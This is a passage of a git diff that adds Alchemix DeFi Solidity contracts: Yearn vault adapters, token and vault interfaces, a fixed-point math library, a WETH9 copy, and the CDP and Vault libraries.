+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../libraries/FixedPointMath.sol";
+import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
+import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
+import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
+
+/// @title YearnVaultAdapter
+///
+/// @dev A vault adapter implementation which wraps a yEarn vault.
+contract YearnVaultAdapterEth is IVaultAdapter {
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  /// @dev The vault that the adapter is wrapping.
+  IyVaultV2 public vault;
+
+  /// @dev The address which has admin control over this contract.
+  address public admin;
+
+  /// @dev The decimals of the token.
+  uint256 public decimals;
+
+  constructor(IyVaultV2 _vault, address _admin) public {
+    vault = _vault;
+    admin = _admin;
+    updateApproval();
+    decimals = _vault.decimals();
+  }
+
+  /// @dev A modifier which reverts if the caller is not the admin.
+  modifier onlyAdmin() {
+    require(admin == msg.sender, "YearnVaultAdapter: only admin");
+    _;
+  }
+
+  /// @dev Gets the token that the vault accepts.
+  ///
+  /// @return the accepted token.
+  function token() external view override returns (IDetailedERC20) {
+    return IDetailedERC20(vault.token());
+  }
+
+  /// @dev Gets the total value of the assets that the adapter holds in the vault.
+  ///
+  /// @return the total assets.
+  function totalValue() external view override returns (uint256) {
+    return _sharesToTokens(vault.balanceOf(address(this)));
+  }
+
+  /// @dev Deposits tokens into the vault.
+  ///
+  /// @param _amount the amount of tokens to deposit into the vault.
+  function deposit(uint256 _amount) external override {
+    vault.deposit(_amount);
+  }
+
+  /// @dev Withdraws tokens from the vault to the recipient.
+  ///
+  /// This function reverts if the caller is not the admin.
+  ///
+  /// @param _recipient the account to withdraw the tokes to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function withdraw(address _recipient, uint256 _amount) external override onlyAdmin {
+    vault.withdraw(_tokensToShares(_amount),_recipient);
+  }
+
+  /// @dev Updates the vaults approval of the token to be the maximum value.
+  function updateApproval() public {
+    address _token = vault.token();
+    IDetailedERC20(_token).safeApprove(address(vault), uint256(-1));
+  }
+
+  /// @dev Computes the number of tokens an amount of shares is worth.
+  ///
+  /// @param _sharesAmount the amount of shares.
+  ///
+  /// @return the number of tokens the shares are worth.
+  
+  function _sharesToTokens(uint256 _sharesAmount) internal view returns (uint256) {
+    return _sharesAmount.mul(vault.pricePerShare()).div(10**decimals);
+  }
+
+  /// @dev Computes the number of shares an amount of tokens is worth.
+  ///
+  /// @param _tokensAmount the amount of shares.
+  ///
+  /// @return the number of shares the tokens are worth.
+  function _tokensToShares(uint256 _tokensAmount) internal view returns (uint256) {
+    return _tokensAmount.mul(10**decimals).div(vault.pricePerShare());
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirection.sol b/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirection.sol
new file mode 100644
index 000000000..238cde303
--- /dev/null
+++ b/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirection.sol
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../libraries/FixedPointMath.sol";
+import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
+import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
+import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
+import {YearnVaultAdapter} from "./YearnVaultAdapter.sol";
+
+/// @title YearnVaultAdapter
+///
+/// @dev A vault adapter implementation which wraps a yEarn vault.
+contract YearnVaultAdapterWithIndirection is YearnVaultAdapter {
+    using FixedPointMath for FixedPointMath.FixedDecimal;
+    using SafeERC20 for IDetailedERC20;
+    using SafeERC20 for IyVaultV2;
+    using SafeMath for uint256;
+
+    constructor(IyVaultV2 _vault, address _admin) YearnVaultAdapter(_vault, _admin) public {
+    }
+
+    /// @dev Sends vault tokens to the recipient
+    ///
+    /// This function reverts if the caller is not the admin.
+    ///
+    /// @param _recipient the account to send the tokens to.
+    /// @param _amount    the amount of tokens to send.
+    function indirectWithdraw(address _recipient, uint256 _amount) external onlyAdmin {
+        vault.safeTransfer(_recipient, _tokensToShares(_amount));
+    }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirectionEth.sol b/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirectionEth.sol
new file mode 100644
index 000000000..b4299ecff
--- /dev/null
+++ b/defi/Alchemix/contracts/adapters/YearnVaultAdapterWithIndirectionEth.sol
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "hardhat/console.sol";
+
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../libraries/FixedPointMath.sol";
+import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
+import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
+import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
+import {YearnVaultAdapter} from "./YearnVaultAdapter.sol";
+
+/// @title YearnVaultAdapter
+///
+/// @dev A vault adapter implementation which wraps a yEarn vault.
+contract YearnVaultAdapterWithIndirectionEth is YearnVaultAdapter {
+    using FixedPointMath for FixedPointMath.FixedDecimal;
+    using SafeERC20 for IDetailedERC20;
+    using SafeERC20 for IyVaultV2;
+    using SafeMath for uint256;
+
+    constructor(IyVaultV2 _vault, address _admin) YearnVaultAdapter(_vault, _admin) public {
+    }
+
+    /// @dev Sends vault tokens to the recipient
+    ///
+    /// This function reverts if the caller is not the admin.
+    ///
+    /// @param _recipient the account to send the tokens to.
+    /// @param _amount    the amount of tokens to send.
+    function indirectWithdraw(address _recipient, uint256 _amount) external onlyAdmin {
+        vault.safeTransfer(_recipient, _tokensToShares(_amount));
+    }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IChainlink.sol b/defi/Alchemix/contracts/interfaces/IChainlink.sol
new file mode 100644
index 000000000..bad41d5dc
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IChainlink.sol
@@ -0,0 +1,6 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+interface IChainlink {
+  function latestAnswer() external view returns (int256);
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/ICurveMetaFactory.sol b/defi/Alchemix/contracts/interfaces/ICurveMetaFactory.sol
new file mode 100644
index 000000000..c3dbbfc0b
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/ICurveMetaFactory.sol
@@ -0,0 +1,12 @@
+pragma solidity ^0.6.12;
+
+interface ICurveMetaFactory {
+    event MetaPoolDeployed(
+        address coin,
+        address base_pool,
+        uint256 A,
+        uint256 fee,
+        address deployer
+    );
+    function deploy_metapool(address _base_pool, string calldata _name, string calldata _symbol, address _coin, uint256 _A, uint256 _fee) external returns (address);
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IDetailedERC20.sol b/defi/Alchemix/contracts/interfaces/IDetailedERC20.sol
new file mode 100644
index 000000000..115c4f8d7
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IDetailedERC20.sol
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+interface IDetailedERC20 is IERC20 {
+  function name() external returns (string memory);
+  function symbol() external returns (string memory);
+  function decimals() external returns (uint8);
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IERC20Burnable.sol b/defi/Alchemix/contracts/interfaces/IERC20Burnable.sol
new file mode 100644
index 000000000..0164c31af
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IERC20Burnable.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.8;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+interface IERC20Burnable is IERC20 {
+  function burn(uint256 amount) external;
+  function burnFrom(address account, uint256 amount) external;
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IMintableERC20.sol b/defi/Alchemix/contracts/interfaces/IMintableERC20.sol
new file mode 100644
index 000000000..871bace07
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IMintableERC20.sol
@@ -0,0 +1,11 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+
+import {IDetailedERC20} from "./IDetailedERC20.sol";
+
+interface IMintableERC20 is IDetailedERC20{
+  function mint(address _recipient, uint256 _amount) external;
+  function burnFrom(address account, uint256 amount) external;
+  function lowerHasMinted(uint256 amount)external;
+}
diff --git a/defi/Alchemix/contracts/interfaces/IStakingPools.sol b/defi/Alchemix/contracts/interfaces/IStakingPools.sol
new file mode 100644
index 000000000..731df143a
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IStakingPools.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+interface IStakingPools  {
+  function deposit(uint256 _poolId, uint256 _depositAmount) external;
+  function withdraw(uint256 _poolId, uint256 _withdrawAmount) external;
+  function claim(uint256 _poolId) external;
+}
+
diff --git a/defi/Alchemix/contracts/interfaces/ITransmuter.sol b/defi/Alchemix/contracts/interfaces/ITransmuter.sol
new file mode 100644
index 000000000..48f2eee3c
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/ITransmuter.sol
@@ -0,0 +1,6 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+interface ITransmuter  {
+  function distribute (address origin, uint256 amount) external;
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IVaultAdapter.sol b/defi/Alchemix/contracts/interfaces/IVaultAdapter.sol
new file mode 100644
index 000000000..8d56b7e90
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IVaultAdapter.sol
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import "./IDetailedERC20.sol";
+
+/// Interface for all Vault Adapter implementations.
+interface IVaultAdapter {
+
+  /// @dev Gets the token that the adapter accepts.
+  function token() external view returns (IDetailedERC20);
+
+  /// @dev The total value of the assets deposited into the vault.
+  function totalValue() external view returns (uint256);
+
+  /// @dev Deposits funds into the vault.
+  ///
+  /// @param _amount  the amount of funds to deposit.
+  function deposit(uint256 _amount) external;
+
+  /// @dev Attempts to withdraw funds from the wrapped vault.
+  ///
+  /// The amount withdrawn to the recipient may be less than the amount requested.
+  ///
+  /// @param _recipient the recipient of the funds.
+  /// @param _amount    the amount of funds to withdraw.
+  function withdraw(address _recipient, uint256 _amount) external;
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IWETH9.sol b/defi/Alchemix/contracts/interfaces/IWETH9.sol
new file mode 100644
index 000000000..6550eac5e
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IWETH9.sol
@@ -0,0 +1,19 @@
+pragma solidity ^0.6.12;
+
+interface IWETH9 {
+    event  Approval(address indexed src, address indexed guy, uint wad);
+    event  Transfer(address indexed src, address indexed dst, uint wad);
+    event  Deposit(address indexed dst, uint wad);
+    event  Withdrawal(address indexed src, uint wad);
+
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+    function totalSupply() external view returns (uint);
+    function approve(address guy, uint wad) external returns (bool);
+    function transfer(address dst, uint wad) external returns (bool);
+    function transferFrom(address src, address dst, uint wad) external returns (bool);
+    function name() external view returns (string memory);
+    function symbol() external view returns (string memory);
+    function decimals() external view returns (uint8);
+    function balanceOf(address guy) external view returns (uint256);
+}
diff --git a/defi/Alchemix/contracts/interfaces/IYearnController.sol b/defi/Alchemix/contracts/interfaces/IYearnController.sol
new file mode 100644
index 000000000..6c67a6d56
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IYearnController.sol
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+interface IYearnController {
+  function balanceOf(address _token) external view returns (uint256);
+  function earn(address _token, uint256 _amount) external;
+  function withdraw(address _token, uint256 _withdrawAmount) external;
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IYearnVault.sol b/defi/Alchemix/contracts/interfaces/IYearnVault.sol
new file mode 100644
index 000000000..42f93f6f8
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IYearnVault.sol
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import {IDetailedERC20} from "./IDetailedERC20.sol";
+
+interface IYearnVault  {
+    function balanceOf(address user)  external view returns (uint);
+    function pricePerShare()  external view returns (uint);
+    function deposit(uint amount)  external returns (uint);
+    function withdraw(uint shares, address recipient)  external returns (uint); 
+    function token() external view returns (IDetailedERC20);
+    function totalAssets()  external view returns (uint);
+    function decimals() external  view returns (uint8);
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/interfaces/IyVaultV2.sol b/defi/Alchemix/contracts/interfaces/IyVaultV2.sol
new file mode 100644
index 000000000..a097291ee
--- /dev/null
+++ b/defi/Alchemix/contracts/interfaces/IyVaultV2.sol
@@ -0,0 +1,47 @@
+pragma solidity ^0.6.12;
+
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+interface IyVaultV2 is IERC20 {
+    function token() external view returns (address);
+    function deposit() external returns (uint);
+    function deposit(uint) external returns (uint);
+    function deposit(uint, address) external returns (uint);
+    function withdraw() external returns (uint);
+    function withdraw(uint) external returns (uint);
+    function withdraw(uint, address) external returns (uint);
+    function withdraw(uint, address, uint) external returns (uint);
+    function permit(address, address, uint, uint, bytes32) external view returns (bool);
+    function pricePerShare() external view returns (uint);
+    
+    function apiVersion() external view returns (string memory);
+    function totalAssets() external view returns (uint);
+    function maxAvailableShares() external view returns (uint);
+    function debtOutstanding() external view returns (uint);
+    function debtOutstanding(address strategy) external view returns (uint);
+    function creditAvailable() external view returns (uint);
+    function creditAvailable(address strategy) external view returns (uint);
+    function availableDepositLimit() external view returns (uint);
+    function expectedReturn() external view returns (uint);
+    function expectedReturn(address strategy) external view returns (uint);
+    function name() external view returns (string memory);
+    function symbol() external view returns (string memory);
+    function decimals() external view returns (uint);
+    function balanceOf(address owner) external view override returns (uint);
+    function totalSupply() external view override returns (uint);
+    function governance() external view returns (address);
+    function management() external view returns (address);
+    function guardian() external view returns (address);
+    function guestList() external view returns (address);
+    function strategies(address) external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
+    function withdrawalQueue(uint) external view returns (address);
+    function emergencyShutdown() external view returns (bool);
+    function depositLimit() external view returns (uint);
+    function debtRatio() external view returns (uint);
+    function totalDebt() external view returns (uint);
+    function lastReport() external view returns (uint);
+    function activation() external view returns (uint);
+    function rewards() external view returns (address);
+    function managementFee() external view returns (uint);
+    function performanceFee() external view returns (uint);
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/libraries/FixedPointMath.sol b/defi/Alchemix/contracts/libraries/FixedPointMath.sol
new file mode 100644
index 000000000..b55a211a8
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/FixedPointMath.sol
@@ -0,0 +1,68 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.6.12;
+
+library FixedPointMath {
+  uint256 public constant DECIMALS = 18;
+  uint256 public constant SCALAR = 10**DECIMALS;
+
+  struct FixedDecimal {
+    uint256 x;
+  }
+
+  function fromU256(uint256 value) internal pure returns (FixedDecimal memory) {
+    uint256 x;
+    require(value == 0 || (x = value * SCALAR) / SCALAR == value);
+    return FixedDecimal(x);
+  }
+
+  function maximumValue() internal pure returns (FixedDecimal memory) {
+    return FixedDecimal(uint256(-1));
+  }
+
+  function add(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) {
+    uint256 x;
+    require((x = self.x + value.x) >= self.x);
+    return FixedDecimal(x);
+  }
+
+  function add(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
+    return add(self, fromU256(value));
+  }
+
+  function sub(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) {
+    uint256 x;
+    require((x = self.x - value.x) <= self.x);
+    return FixedDecimal(x);
+  }
+
+  function sub(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
+    return sub(self, fromU256(value));
+  }
+
+  function mul(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
+    uint256 x;
+    require(value == 0 || (x = self.x * value) / value == self.x);
+    return FixedDecimal(x);
+  }
+
+  function div(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
+    require(value != 0);
+    return FixedDecimal(self.x / value);
+  }
+
+  function cmp(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (int256) {
+    if (self.x < value.x) {
+      return -1;
+    }
+
+    if (self.x > value.x) {
+      return 1;
+    }
+
+    return 0;
+  }
+
+  function decode(FixedDecimal memory self) internal pure returns (uint256) {
+    return self.x / SCALAR;
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/libraries/WETH9.sol b/defi/Alchemix/contracts/libraries/WETH9.sol
new file mode 100644
index 000000000..db486ae2d
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/WETH9.sol
@@ -0,0 +1,84 @@
+/**
+ *Submitted for verification at Etherscan.io on 2017-12-12
+*/
+
+// Copyright (C) 2015, 2016, 2017 Dapphub
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+pragma solidity ^0.6.12;
+
+import "hardhat/console.sol";
+
+contract WETH9 {
+    string public name     = "Wrapped Ether";
+    string public symbol   = "WETH";
+    uint8  public decimals = 18;
+
+    event  Approval(address indexed src, address indexed guy, uint wad);
+    event  Transfer(address indexed src, address indexed dst, uint wad);
+    event  Deposit(address indexed dst, uint wad);
+    event  Withdrawal(address indexed src, uint wad);
+
+    mapping (address => uint)                       public  balanceOf;
+    mapping (address => mapping (address => uint))  public  allowance;
+
+    constructor() public payable {
+        deposit();
+    }
+    function deposit() public payable {
+        balanceOf[msg.sender] += msg.value;
+        emit Deposit(msg.sender, msg.value);
+    }
+    function withdraw(uint wad) public {
+        require(balanceOf[msg.sender] >= wad);
+        balanceOf[msg.sender] -= wad;
+        msg.sender.transfer(wad);
+        emit Withdrawal(msg.sender, wad);
+    }
+
+    function totalSupply() public view returns (uint) {
+        return address(this).balance;
+    }
+
+    function approve(address guy, uint wad) public returns (bool) {
+        allowance[msg.sender][guy] = wad;
+        emit Approval(msg.sender, guy, wad);
+        return true;
+    }
+
+    function transfer(address dst, uint wad) public returns (bool) {
+        return transferFrom(msg.sender, dst, wad);
+    }
+
+    function transferFrom(address src, address dst, uint wad)
+        public
+        returns (bool)
+    {
+        require(balanceOf[src] >= wad);
+
+        if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
+
+            require(allowance[src][msg.sender] >= wad);
+            allowance[src][msg.sender] -= wad;
+        }
+
+        balanceOf[src] -= wad;
+        balanceOf[dst] += wad;
+
+        emit Transfer(src, dst, wad);
+
+        return true;
+    }
+}
diff --git a/defi/Alchemix/contracts/libraries/alchemist/CDP.sol b/defi/Alchemix/contracts/libraries/alchemist/CDP.sol
new file mode 100644
index 000000000..f0c0c2c14
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/alchemist/CDP.sol
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {FixedPointMath} from "../FixedPointMath.sol";
+import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
+import "hardhat/console.sol";
+
+/// @title CDP
+///
+/// @dev A library which provides the CDP data struct and associated functions.
+library CDP {
+  using CDP for Data;
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  struct Context {
+    FixedPointMath.FixedDecimal collateralizationLimit;
+    FixedPointMath.FixedDecimal accumulatedYieldWeight;
+  }
+
+  struct Data {
+    uint256 totalDeposited;
+    uint256 totalDebt;
+    uint256 totalCredit;
+    uint256 lastDeposit;
+    FixedPointMath.FixedDecimal lastAccumulatedYieldWeight;
+  }
+
+  function update(Data storage _self, Context storage _ctx) internal {
+    uint256 _earnedYield = _self.getEarnedYield(_ctx);
+    if (_earnedYield > _self.totalDebt) {
+      uint256 _currentTotalDebt = _self.totalDebt;
+      _self.totalDebt = 0;
+      _self.totalCredit = _earnedYield.sub(_currentTotalDebt);
+    } else {
+      _self.totalDebt = _self.totalDebt.sub(_earnedYield);
+    }
+    _self.lastAccumulatedYieldWeight = _ctx.accumulatedYieldWeight;
+  }
+
+  /// @dev Assures that the CDP is healthy.
+  ///
+  /// This function will revert if the CDP is unhealthy.
+  function checkHealth(Data storage _self, Context storage _ctx, string memory _msg) internal view {
+    require(_self.isHealthy(_ctx), _msg);
+  }
+
+  /// @dev Gets if the CDP is considered healthy.
+  ///
+  /// A CDP is healthy if its collateralization ratio is greater than the global collateralization limit.
+  ///
+  /// @return if the CDP is healthy.
+  function isHealthy(Data storage _self, Context storage _ctx) internal view returns (bool) {
+    return _ctx.collateralizationLimit.cmp(_self.getCollateralizationRatio(_ctx)) <= 0;
+  }
+
+  function getUpdatedTotalDebt(Data storage _self, Context storage _ctx) internal view returns (uint256) {
+    uint256 _unclaimedYield = _self.getEarnedYield(_ctx);
+    if (_unclaimedYield == 0) {
+      return _self.totalDebt;
+    }
+
+    uint256 _currentTotalDebt = _self.totalDebt;
+    if (_unclaimedYield >= _currentTotalDebt) {
+      return 0;
+    }
+
+    return _currentTotalDebt - _unclaimedYield;
+  }
+
+  function getUpdatedTotalCredit(Data storage _self, Context storage _ctx) internal view returns (uint256) {
+    uint256 _unclaimedYield = _self.getEarnedYield(_ctx);
+    if (_unclaimedYield == 0) {
+      return _self.totalCredit;
+    }
+
+    uint256 _currentTotalDebt = _self.totalDebt;
+    if (_unclaimedYield <= _currentTotalDebt) {
+      return 0;
+    }
+
+    return _self.totalCredit + (_unclaimedYield - _currentTotalDebt);
+  }
+
+  /// @dev Gets the amount of yield that a CDP has earned since the last time it was updated.
+  ///
+  /// @param _self the CDP to query.
+  /// @param _ctx  the CDP context.
+  ///
+  /// @return the amount of earned yield.
+  function getEarnedYield(Data storage _self, Context storage _ctx) internal view returns (uint256) {
+    FixedPointMath.FixedDecimal memory _currentAccumulatedYieldWeight = _ctx.accumulatedYieldWeight;
+    FixedPointMath.FixedDecimal memory _lastAccumulatedYieldWeight = _self.lastAccumulatedYieldWeight;
+
+    if (_currentAccumulatedYieldWeight.cmp(_lastAccumulatedYieldWeight) == 0) {
+      return 0;
+    }
+
+    return _currentAccumulatedYieldWeight
+      .sub(_lastAccumulatedYieldWeight)
+      .mul(_self.totalDeposited)
+      .decode();
+  }
+
+  /// @dev Gets a CDPs collateralization ratio.
+  ///
+  /// The collateralization ratio is defined as the ratio of collateral to debt. If the CDP has zero debt then this
+  /// will return the maximum value of a fixed point integer.
+  ///
+  /// This function will use the updated total debt so an update before calling this function is not required.
+  ///
+  /// @param _self the CDP to query.
+  ///
+  /// @return a fixed point integer representing the collateralization ratio.
+  function getCollateralizationRatio(Data storage _self, Context storage _ctx)
+    internal view
+    returns (FixedPointMath.FixedDecimal memory)
+  {
+    uint256 _totalDebt = _self.getUpdatedTotalDebt(_ctx);
+    if (_totalDebt == 0) {
+      return FixedPointMath.maximumValue();
+    }
+    return FixedPointMath.fromU256(_self.totalDeposited).div(_totalDebt);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/libraries/alchemist/Vault.sol b/defi/Alchemix/contracts/libraries/alchemist/Vault.sol
new file mode 100644
index 000000000..714e670d4
--- /dev/null
+++ b/defi/Alchemix/contracts/libraries/alchemist/Vault.sol
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+
+//import "hardhat/console.sol";
+
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
+import {IVaultAdapter} from "../../interfaces/IVaultAdapter.sol";
+import "hardhat/console.sol";
+
+/// @title Pool
+///
+/// @dev A library which provides the Vault data struct and associated functions.
+library Vault {
+  using Vault for Data;
+  using Vault for List;
+  using SafeERC20 for IDetailedERC20;
+  using SafeMath for uint256;
+
+  struct Data {
+    IVaultAdapter adapter;
+    uint256 totalDeposited;
+  }
+
+  struct List {
+    Data[] elements;
+  }
+
+  /// @dev Gets the total amount of assets deposited in the vault.
+  ///
+  /// @return the total assets.
+  function totalValue(Data storage _self) internal view returns (uint256) {
+    return _self.adapter.totalValue();
+  }
+
+  /// @dev Gets the token that the vault accepts.
+  ///
+  /// @return the accepted token.
+  function token(Data storage _self) internal view returns (IDetailedERC20) {
+    return IDetailedERC20(_self.adapter.token());
+  }
+
+  /// @dev Deposits funds from the caller into the vault.
+  ///
+  /// @param _amount the amount of funds to deposit.
+  function deposit(Data storage _self, uint256 _amount) internal returns (uint256) {
+    // Push the token that the vault accepts onto the stack to save gas.
+    IDetailedERC20 _token = _self.token();
+
+    _token.safeTransfer(address(_self.adapter), _amount);
+    _self.adapter.deposit(_amount);
+    _self.totalDeposited = _self.totalDeposited.add(_amount);
+
+    return _amount;
+  }
+
+  /// @dev Deposits the entire token balance of the caller into the vault.
+  function depositAll(Data storage _self) internal returns (uint256) {
+    IDetailedERC20 _token = _self.token();
+    return _self.deposit(_token.balanceOf(address(this)));
+  }
+
+  /// @dev Withdraw deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function withdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _self.directWithdraw(_recipient, _amount);
+    _self.totalDeposited = _self.totalDeposited.sub(_decreasedValue);
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Directly withdraw deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  /// @param _amount    the amount of tokens to withdraw.
+  function directWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    IDetailedERC20 _token = _self.token();
+
+    uint256 _startingBalance = _token.balanceOf(_recipient);
+    uint256 _startingTotalValue = _self.totalValue();
+
+    _self.adapter.withdraw(_recipient, _amount);
+
+    uint256 _endingBalance = _token.balanceOf(_recipient);
+    uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance);
+
+    uint256 _endingTotalValue = _self.totalValue();
+    uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Withdraw all the deposited funds from the vault.
+  ///
+  /// @param _recipient the account to withdraw the tokens to.
+  function withdrawAll(Data storage _self, address _recipient) internal returns (uint256, uint256) {
+    return _self.withdraw(_recipient, _self.totalDeposited);
+  }
+
+  /// @dev Harvests yield from the vault.
+  ///
+  /// @param _recipient the account to withdraw the harvested yield to.
+  function harvest(Data storage _self, address _recipient) internal returns (uint256, uint256) {
+    if (_self.totalValue() <= _self.totalDeposited) {
+      return (0, 0);
+    }
+    uint256 _withdrawAmount = _self.totalValue().sub(_self.totalDeposited);
+    return _self.directWithdraw(_recipient, _withdrawAmount);
+  }
+
+  /// @dev Adds a element to the list.
+  ///
+  /// @param _element the element to add.
+  function push(List storage _self, Data memory _element) internal {
+    _self.elements.push(_element);
+  }
+
+  /// @dev Gets a element from the list.
+  ///
+  /// @param _index the index in the list.
+  ///
+  /// @return the element at the specified index.
+  function get(List storage _self, uint256 _index) internal view returns (Data storage) {
+    return _self.elements[_index];
+  }
+
+  /// @dev Gets the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///
+  /// @return the last element in the list.
+  function last(List storage _self) internal view returns (Data storage) {
+    return _self.elements[_self.lastIndex()];
+  }
+
+  /// @dev Gets the index of the last element in the list.
+  ///
+  /// This function will revert if there are no elements in the list.
+  ///
+  /// @return the index of the last element.
+  function lastIndex(List storage _self) internal view returns (uint256) {
+    uint256 _length = _self.length();
+    return _length.sub(1, "Vault.List: empty");
+  }
+
